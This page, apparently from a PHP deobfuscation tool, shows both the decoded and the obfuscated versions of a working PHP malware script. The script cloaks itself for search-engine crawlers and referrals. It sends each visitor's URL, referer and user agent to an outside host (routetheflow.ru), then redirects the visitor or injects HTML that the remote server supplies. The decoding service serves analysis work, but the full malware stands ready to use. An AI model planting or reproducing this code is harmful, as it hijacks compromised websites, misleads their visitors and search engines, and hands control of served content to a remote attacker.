Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"G\x4c\x4f\x42\x41\x4c\x53"}["r\x64\x6dcy\x62n"]="\x6d";${"G\x4cO\x42\x41\x4c\x53"..
Decoded Output download
<?php ${"GLOBALS"}["rdmcybn"]="m";${"GLOBALS"}["fjvxrptulbz"]="scheme";${"GLOBALS"}["wkjobqmd"]="result";${"GLO
BALS"}["ybmacuekqdz"]="url";${"GLOBALS"}["ioogwpjyq"]="ch";@error_reporting(0);if(!function_exists("getUrla")){function getUrla($url){if(function_exists("curl_i\x
6eit")){$ixhdpce="ch";$bjqjbbx="url";${"GLOBALS"}["wqkkznww"]="ch";${"GLOBALS"}["okkdcnmxk"]="result";${${"GLOBALS"}["ioogwpjy\x7
1"]}=curl_init();$oextylt="ch";curl_setopt(${$oextylt},CURLOPT_URL,${$bjqjbbx});curl_setopt(${${"GLOBALS"}["ioogwpjyq"]},CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT \
x310.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");curl_setopt(${${"GLOBALS"}["ioog
wpjyq"]},CURLOPT_TIMEOUT,10);curl_setopt(${$ixhdpce},CURLOPT_RETURNTRANSFER,true);${${"GLOBALS"}["okkdcnmxk"]}=curl_exec(${${"GLOBALS"}["ioogwpjyq"]});curl_clo
se(${${"GLOBALS"}["wqkkznww"]});}else{${"GLOBALS"}["ljdgjltiu"]="result";${${"GLOBALS"}["ljdgjltiu"]}=file_get_contents(${${"GL\x
4fBALS"}["ybmacuekqdz"]});}$neupswrdep="result";return${$neupswrdep};}}$cmrhguhtqfd="scheme";${$cmrhguhtqfd}="http://";if(preg_match("#(googlebot|bingbot|ya
hoo|msnbot|aol)#i",$_SERVER["HTTP_USER_AGENT"])||preg_match("#(google|bing|yahoo|msn|aol)#i",@$_SERVER["HTTP_REFERER"]))
{$iojwvygkef="result";${${"GLOBALS"}["wkjobqmd"]}=getUrla("http://routetheflow.ru/ph/phdms10.php?u=".urlencode("http://"
.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&r=".urlencode(@$_SERVER["HTTP_REFERER"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]));${"G\x4
cOBALS"}["ogxyrdykvncq"]="result";${"GLOBALS"}["bxszviubu"]="result";if(${$iojwvygkef}=="IGNORE"){${"GLOBALS"}["vkcvf
yfmn"]="page";$sjdqpvr="scheme";if((!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!=="off")||$_SERVER["SERVER_PORT"]==443)${$sjdqpvr}="https://";${${"GLOBALS"
}["vkcvfyfmn"]}=getUrla(${${"GLOBALS"}["fjvxrptulbz"]}.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);${"GLOBALS"}["uqwmrr\
x72oyk"]="page";if(preg_match("#(\.pdf|\.jpg|\.jpeg|\\.png|\\.gif|\\.css|\.js|\.tiff)#i",$_SERVER["REQUEST_URI"],${${"GLOBALS"}["
rdmcybn"]})){$adfyyvx="m";${"GLOBALS"}["fxpqfqa"]="m";$ftpebyeo="m";$piybcqienvl="m";switch(${$piybcqienvl}[0]){case(preg_match("/(jpg|jpeg)/",${${"GLOBALS"}["\x7
2dmcybn"]}[0])?true:false):header("Content-Type: image/jpeg");break;case(preg_match("/\\.pdf/",${$ftpebyeo}[0])?true:false):header("Content-Type: application/pdf");break;case
(preg_match("/\\.png/",${${"GLOBALS"}["rdmcybn"]}[0])?true:false):header("Content-Type: image/png");break;case(preg_match("/\\.gif/",${${"GLOBALS"}["\
x72dmcybn"]}[0])?true:false):header("Content-Type: image/gif");break;case(preg_match("/tiff/",${$adfyyvx}[0])?true:false):header("Content-Type: application/fon\x7
4-tiff");break;case(preg_match("/css/",${${"GLOBALS"}["rdmcybn"]}[0])?true:false):header("Content-Type: text/css");break;case(preg_match("/\\.js/",${${"GLOBAL\
x53"}["fxpqfqa"]}[0])?true:false):header("Content-Type: application/x-javascript");break;default:header("Content-Type: text/html"
);}}echo${${"GLOBALS"}["uqwmrrroyk"]};exit;}${"GLOBALS"}["jtcedyn"]="result";${${"GLOBALS"}["bxszviubu"]}=base64_decode(${${"GLOBALS"}["wk
jobqmd"]});$lqcqqohpq="result";${"GLOBALS"}["bjfjizodtq"]="result";$mgmnumg="result";${${"GLOBALS"}["bjfjizodtq"]}=unserialize(${$lq
cqqohpq});if(isset(${$mgmnumg}["location"])&&${${"GLOBALS"}["wkjobqmd"]}["location"]!=""){$ffhciimpmee="result";$vovorkgo="result";Header("HTTP/1.1\x2
0301 Moved Permanently");if(isset(${$ffhciimpmee}["referer"])&&${${"GLOBALS"}["wkjobqmd"]}["referer"]!="")Header("Referer: ".${$vovo
rkgo}["referer"]);Header("Location: ".${${"GLOBALS"}["wkjobqmd"]}["location"]);exit;}if(isset(${${"GLOBALS"}["jtcedyn"]}["html"])&&${${"\x
47LOBALS"}["ogxyrdykvncq"]}["html"]!=""){${"GLOBALS"}["tyjmrnhd"]="result";echo${${"GLOBALS"}["tyjmrnhd"]}["html"];exit;}}
?>
Did this file decode correctly?
Original Code
<?php ${"G\x4c\x4f\x42\x41\x4c\x53"}["r\x64\x6dcy\x62n"]="\x6d";${"G\x4cO\x42\x41\x4c\x53"}["\x66\x6a\x76\x78r\x70t\x75l\x62\x7a"]="s\x63\x68\x65\x6d\x65";${"G\x4c\x4fB\x41L\x53"}["w\x6bj\x6f\x62\x71m\x64"]="\x72\x65su\x6ct";${"\x47\x4c\x4f
\x42\x41\x4cS"}["\x79b\x6d\x61c\x75ek\x71d\x7a"]="u\x72l";${"G\x4cO\x42\x41\x4cS"}["io\x6fg\x77\x70\x6a\x79\x71"]="ch";@error_reporting(0);if(!function_exists("ge\x74U\x72la")){function getUrla($url){if(function_exists("\x63u\x72l\x5f\x69\x
6ei\x74")){$ixhdpce="\x63\x68";$bjqjbbx="url";${"\x47\x4cO\x42\x41\x4cS"}["\x77qk\x6b\x7an\x77\x77"]="\x63h";${"GL\x4f\x42\x41\x4c\x53"}["\x6f\x6bk\x64c\x6e\x6d\x78\x6b"]="r\x65s\x75\x6ct";${${"GL\x4fB\x41L\x53"}["\x69\x6fo\x67w\x70\x6ay\x7
1"]}=curl_init();$oextylt="\x63\x68";curl_setopt(${$oextylt},CURLOPT_URL,${$bjqjbbx});curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["i\x6fo\x67\x77pj\x79\x71"]},CURLOPT_USERAGENT,"\x4d\x6fzi\x6cla/\x35.\x30\x20(W\x69\x6ed\x6f\x77s\x20N\x54 \
x310\x2e0\x3b\x20WOW\x364) A\x70\x70\x6c\x65We\x62\x4bit/\x353\x37\x2e\x33\x36 (\x4bH\x54M\x4c, l\x69ke Ge\x63ko) \x43\x68r\x6fme/\x360\x2e0.\x33\x3112.11\x33\x20Sa\x66\x61ri/537.3\x36");curl_setopt(${${"\x47\x4cO\x42\x41L\x53"}["\x69o\x6fg
w\x70j\x79\x71"]},CURLOPT_TIMEOUT,10);curl_setopt(${$ixhdpce},CURLOPT_RETURNTRANSFER,true);${${"G\x4c\x4f\x42\x41LS"}["\x6f\x6b\x6bd\x63\x6em\x78k"]}=curl_exec(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x6f\x6f\x67w\x70\x6a\x79\x71"]});curl_clo
se(${${"\x47\x4c\x4fB\x41\x4c\x53"}["wq\x6b\x6bzn\x77w"]});}else{${"\x47L\x4f\x42ALS"}["l\x6ad\x67\x6a\x6c\x74i\x75"]="\x72\x65\x73\x75\x6c\x74";${${"G\x4c\x4f\x42A\x4cS"}["\x6c\x6ad\x67\x6al\x74\x69\x75"]}=file_get_contents(${${"\x47\x4c\x
4f\x42\x41LS"}["\x79\x62ma\x63\x75e\x6bq\x64\x7a"]});}$neupswrdep="\x72es\x75\x6ct";return${$neupswrdep};}}$cmrhguhtqfd="\x73ch\x65\x6d\x65";${$cmrhguhtqfd}="\x68ttp://";if(preg_match("#(\x67\x6fo\x67\x6c\x65b\x6f\x74|\x62ingbo\x74|\x79\x61
h\x6f\x6f|\x6d\x73\x6eb\x6f\x74|\x61\x6fl)\x23\x69",$_SERVER["\x48\x54TP\x5f\x55\x53ER\x5f\x41\x47E\x4e\x54"])||preg_match("#(\x67o\x6f\x67\x6ce|bin\x67|ya\x68\x6f\x6f|\x6d\x73\x6e|aol)\x23\x69",@$_SERVER["H\x54T\x50_\x52\x45\x46\x45RER"]))
{$iojwvygkef="\x72e\x73u\x6ct";${${"\x47\x4cO\x42\x41L\x53"}["w\x6b\x6a\x6f\x62\x71\x6d\x64"]}=getUrla("http://\x72\x6f\x75\x74e\x74\x68\x65\x66\x6c\x6f\x77\x2e\x72\x75/\x70\x68/phdms\x31\x30\x2ep\x68\x70?u\x3d".urlencode("\x68t\x74\x70://"
.$_SERVER["HTT\x50\x5fH\x4fS\x54"].$_SERVER["RE\x51\x55\x45ST\x5f\x55R\x49"])."&\x72\x3d".urlencode(@$_SERVER["\x48\x54T\x50\x5f\x52\x45FE\x52ER"])."\x26a=".urlencode($_SERVER["\x48\x54\x54\x50_\x55S\x45\x52\x5f\x41G\x45\x4eT"]));${"\x47\x4
cOB\x41\x4c\x53"}["\x6f\x67\x78\x79\x72\x64\x79k\x76nc\x71"]="\x72\x65sul\x74";${"\x47\x4cOBA\x4c\x53"}["\x62x\x73\x7a\x76i\x75\x62u"]="\x72\x65\x73u\x6ct";if(${$iojwvygkef}=="IG\x4eOR\x45"){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x6bc\x76\x66
\x79\x66\x6d\x6e"]="p\x61ge";$sjdqpvr="\x73\x63hem\x65";if((!empty($_SERVER["\x48\x54\x54PS"])&&$_SERVER["\x48\x54TPS"]!=="o\x66f")||$_SERVER["\x53\x45\x52VER_P\x4fR\x54"]==443)${$sjdqpvr}="ht\x74\x70\x73://";${${"\x47\x4c\x4f\x42A\x4c\x53"
}["v\x6b\x63v\x66\x79\x66\x6dn"]}=getUrla(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66\x6a\x76\x78\x72\x70\x74\x75\x6cbz"]}.$_SERVER["\x48TT\x50_\x48O\x53T"].$_SERVER["\x52E\x51UES\x54\x5f\x55\x52\x49"]);${"\x47\x4c\x4fB\x41\x4cS"}["uq\x77m\x72r\
x72\x6f\x79k"]="pa\x67e";if(preg_match("#(\x5c.\x70df|\x5c\x2ejp\x67|\x5c.j\x70eg|\\.p\x6eg|\\.\x67\x69\x66|\\\x2ecs\x73|\x5c\x2ejs|\x5c\x2e\x74\x69\x66f)#\x69",$_SERVER["\x52\x45Q\x55EST\x5f\x55\x52\x49"],${${"\x47L\x4f\x42\x41\x4c\x53"}["
\x72\x64mc\x79\x62\x6e"]})){$adfyyvx="\x6d";${"\x47\x4cOB\x41L\x53"}["\x66\x78\x70\x71\x66\x71\x61"]="m";$ftpebyeo="m";$piybcqienvl="\x6d";switch(${$piybcqienvl}[0]){case(preg_match("/(j\x70g|\x6apeg)/",${${"\x47L\x4f\x42\x41\x4c\x53"}["\x7
2dm\x63\x79\x62n"]}[0])?true:false):header("\x43ont\x65nt-Type: \x69\x6dage/\x6ape\x67");break;case(preg_match("/\\.\x70\x64\x66/",${$ftpebyeo}[0])?true:false):header("C\x6fnt\x65nt-Type:\x20\x61ppl\x69ca\x74\x69o\x6e/p\x64\x66");break;case
(preg_match("/\\.p\x6eg/",${${"GL\x4fBAL\x53"}["\x72\x64\x6dc\x79\x62n"]}[0])?true:false):header("C\x6f\x6e\x74en\x74-\x54yp\x65: \x69\x6d\x61ge/\x70\x6eg");break;case(preg_match("/\\\x2e\x67\x69\x66/",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\
x72\x64\x6dcy\x62n"]}[0])?true:false):header("Con\x74\x65nt-\x54y\x70e: \x69\x6d\x61\x67e/g\x69f");break;case(preg_match("/t\x69f\x66/",${$adfyyvx}[0])?true:false):header("Conte\x6e\x74-T\x79\x70\x65: a\x70pl\x69\x63a\x74io\x6e/f\x6f\x6e\x7
4-\x74i\x66f");break;case(preg_match("/\x63\x73\x73/",${${"\x47LO\x42ALS"}["r\x64\x6d\x63y\x62\x6e"]}[0])?true:false):header("Co\x6etent-\x54\x79\x70e:\x20\x74ex\x74/\x63\x73s");break;case(preg_match("/\\\x2e\x6a\x73/",${${"\x47LO\x42A\x4c\
x53"}["\x66xp\x71\x66\x71\x61"]}[0])?true:false):header("C\x6f\x6et\x65n\x74-\x54\x79pe: \x61pp\x6ci\x63a\x74\x69\x6f\x6e/\x78-\x6a\x61v\x61\x73\x63r\x69\x70\x74");break;default:header("\x43\x6f\x6e\x74\x65\x6et-Type:\x20\x74\x65xt/h\x74ml"
);}}echo${${"\x47L\x4f\x42ALS"}["\x75q\x77\x6d\x72rr\x6fy\x6b"]};exit;}${"GLOB\x41\x4c\x53"}["j\x74\x63e\x64y\x6e"]="\x72es\x75\x6ct";${${"\x47\x4c\x4f\x42AL\x53"}["bx\x73z\x76iu\x62\x75"]}=base64_decode(${${"\x47LO\x42\x41L\x53"}["\x77\x6b
j\x6fb\x71\x6d\x64"]});$lqcqqohpq="\x72e\x73\x75l\x74";${"G\x4c\x4f\x42AL\x53"}["\x62\x6afj\x69\x7a\x6f\x64\x74\x71"]="r\x65s\x75\x6ct";$mgmnumg="\x72\x65\x73u\x6c\x74";${${"\x47L\x4f\x42A\x4cS"}["b\x6a\x66j\x69\x7aodtq"]}=unserialize(${$lq
cqqohpq});if(isset(${$mgmnumg}["\x6c\x6f\x63ati\x6fn"])&&${${"G\x4c\x4f\x42\x41LS"}["w\x6b\x6a\x6f\x62\x71md"]}["\x6co\x63at\x69\x6fn"]!=""){$ffhciimpmee="\x72\x65s\x75\x6c\x74";$vovorkgo="\x72\x65\x73\x75\x6ct";Header("\x48TTP/1\x2e\x31\x2
03\x30\x31 \x4d\x6f\x76e\x64 P\x65\x72m\x61\x6ee\x6e\x74l\x79");if(isset(${$ffhciimpmee}["\x72\x65\x66\x65rer"])&&${${"\x47\x4cOBAL\x53"}["\x77\x6b\x6a\x6f\x62\x71m\x64"]}["r\x65fere\x72"]!="")Header("\x52\x65\x66\x65\x72\x65\x72: ".${$vovo
rkgo}["\x72\x65\x66er\x65r"]);Header("\x4c\x6f\x63at\x69o\x6e: ".${${"\x47\x4cOB\x41LS"}["\x77\x6b\x6a\x6f\x62\x71m\x64"]}["loca\x74\x69\x6fn"]);exit;}if(isset(${${"\x47LO\x42AL\x53"}["\x6a\x74c\x65\x64\x79\x6e"]}["h\x74\x6d\x6c"])&&${${"\x
47\x4c\x4fB\x41L\x53"}["\x6f\x67x\x79rdy\x6b\x76n\x63\x71"]}["\x68t\x6dl"]!=""){${"\x47\x4cO\x42A\x4c\x53"}["\x74\x79j\x6drn\x68\x64"]="\x72e\x73\x75\x6ct";echo${${"\x47L\x4f\x42A\x4c\x53"}["t\x79j\x6d\x72\x6ehd"]}["\x68tm\x6c"];exit;}}
?>
Function Calls
None |
Stats
MD5 | 1a250629e426e7f64905a466d4865094 |
Eval Count | 0 |
Decode Time | 67 ms |